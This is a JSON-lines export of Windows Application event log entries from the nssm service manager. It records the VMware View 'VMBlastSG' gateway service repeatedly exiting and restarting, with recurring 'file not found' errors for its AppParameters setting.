{"@timestamp":1646658174795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152588","0"]}}},"module":"Application","provider":"nssm","sequence":155769}}
{"@timestamp":1646658174796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152588","152588","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155770}}
{"@timestamp":1646658174811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155771}}
{"@timestamp":1646658174812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155772}}
{"@timestamp":1646658174812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155773}}
{"@timestamp":1646658174813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155774}}
{"@timestamp":1646658303462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155775}}
{"@timestamp":1646658303463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155776}}
{"@timestamp":1646658303463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153508","0"]}}},"module":"Application","provider":"nssm","sequence":155777}}
{"@timestamp":1646658303464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153508","153508","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155778}}
{"@timestamp":1646658303488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152060","0"]}}},"module":"Application","provider":"nssm","sequence":155779}}
{"@timestamp":1646658303490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152060","153508","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155780}}
{"@timestamp":1646658303510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155781}}
{"@timestamp":1646658303511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155782}}
{"@timestamp":1646658303512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155783}}
{"@timestamp":1646658303526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155784}}
{"@timestamp":1646658432232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155785}}
{"@timestamp":1646658432233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155786}}
{"@timestamp":1646658432233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153360","0"]}}},"module":"Application","provider":"nssm","sequence":155787}}
{"@timestamp":1646658432233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153360","153360","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155788}}
{"@timestamp":1646658432251,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155789}}
{"@timestamp":1646658432252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155790}}
{"@timestamp":1646658432252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155791}}
{"@timestamp":1646658432255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155792}}
{"@timestamp":1646658560802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155793}}
{"@timestamp":1646658560802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155794}}
{"@timestamp":1646658560803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150624","0"]}}},"module":"Application","provider":"nssm","sequence":155795}}
{"@timestamp":1646658560803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150624","150624","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155796}}
{"@timestamp":1646658560819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152248","0"]}}},"module":"Application","provider":"nssm","sequence":155797}}
{"@timestamp":1646658560820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152248","150624","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155798}}
{"@timestamp":1646658560869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155799}}
{"@timestamp":1646658560870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155800}}
{"@timestamp":1646658560870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155801}}
{"@timestamp":1646658560871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155802}}
{"@timestamp":1646658689369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155803}}
{"@timestamp":1646658689369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155804}}
{"@timestamp":1646658689370,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152884","0"]}}},"module":"Application","provider":"nssm","sequence":155805}}
{"@timestamp":1646658689370,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152884","152884","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155806}}
{"@timestamp":1646658689385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155807}}
{"@timestamp":1646658689386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155808}}
{"@timestamp":1646658689386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155809}}
{"@timestamp":1646658689387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155810}}
{"@timestamp":1646658817917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155811}}
{"@timestamp":1646658817918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155812}}
{"@timestamp":1646658817918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153160","0"]}}},"module":"Application","provider":"nssm","sequence":155813}}
{"@timestamp":1646658817919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153160","153160","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155814}}
{"@timestamp":1646658817936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152888","0"]}}},"module":"Application","provider":"nssm","sequence":155815}}
{"@timestamp":1646658817936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152888","153160","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155816}}
{"@timestamp":1646658817956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155817}}
{"@timestamp":1646658817956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155818}}
{"@timestamp":1646658817957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155819}}
{"@timestamp":1646658817957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155820}}
{"@timestamp":1646658946437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155821}}
{"@timestamp":1646658946438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155822}}
{"@timestamp":1646658946438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150692","0"]}}},"module":"Application","provider":"nssm","sequence":155823}}
{"@timestamp":1646658946438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150692","150692","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155824}}
{"@timestamp":1646658946454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155825}}
{"@timestamp":1646658946454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155826}}
{"@timestamp":1646658946455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155827}}
{"@timestamp":1646658946455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155828}}
{"@timestamp":1646659075098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155829}}
{"@timestamp":1646659075099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155830}}
{"@timestamp":1646659075100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152852","0"]}}},"module":"Application","provider":"nssm","sequence":155831}}
{"@timestamp":1646659075100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152852","152852","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155832}}
{"@timestamp":1646659075117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155833}}
{"@timestamp":1646659075118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155834}}
{"@timestamp":1646659075118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155835}}
{"@timestamp":1646659075119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155836}}
{"@timestamp":1646659203615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155837}}
{"@timestamp":1646659203616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155838}}
{"@timestamp":1646659203616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148872","0"]}}},"module":"Application","provider":"nssm","sequence":155839}}
{"@timestamp":1646659203617,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148872","148872","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155840}}
{"@timestamp":1646659203633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155841}}
{"@timestamp":1646659203633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155842}}
{"@timestamp":1646659203633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155843}}
{"@timestamp":1646659203634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155844}}
{"@timestamp":1646659332166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155845}}
{"@timestamp":1646659332168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155846}}
{"@timestamp":1646659332170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152432","0"]}}},"module":"Application","provider":"nssm","sequence":155847}}
{"@timestamp":1646659332171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152432","152432","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155848}}
{"@timestamp":1646659332187,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153556","0"]}}},"module":"Application","provider":"nssm","sequence":155849}}
{"@timestamp":1646659332188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153556","152432","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155850}}
{"@timestamp":1646659332203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155851}}
{"@timestamp":1646659332204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155852}}
{"@timestamp":1646659332205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155853}}
{"@timestamp":1646659332207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155854}}
{"@timestamp":1646659460812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155855}}
{"@timestamp":1646659460813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155856}}
{"@timestamp":1646659460813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151244","0"]}}},"module":"Application","provider":"nssm","sequence":155857}}
{"@timestamp":1646659460814,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151244","151244","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155858}}
{"@timestamp":1646659460829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153344","0"]}}},"module":"Application","provider":"nssm","sequence":155859}}
{"@timestamp":1646659460829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153344","151244","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155860}}
{"@timestamp":1646659460844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155861}}
{"@timestamp":1646659460844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155862}}
{"@timestamp":1646659460845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155863}}
{"@timestamp":1646659460846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155864}}
{"@timestamp":1646659589351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155865}}
{"@timestamp":1646659589353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155866}}
{"@timestamp":1646659589354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152908","0"]}}},"module":"Application","provider":"nssm","sequence":155867}}
{"@timestamp":1646659589355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152908","152908","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155868}}
{"@timestamp":1646659589377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155869}}
{"@timestamp":1646659589377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155870}}
{"@timestamp":1646659589378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155871}}
{"@timestamp":1646659589379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155872}}
{"@timestamp":1646659717874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155873}}
{"@timestamp":1646659717875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155874}}
{"@timestamp":1646659717876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153460","0"]}}},"module":"Application","provider":"nssm","sequence":155875}}
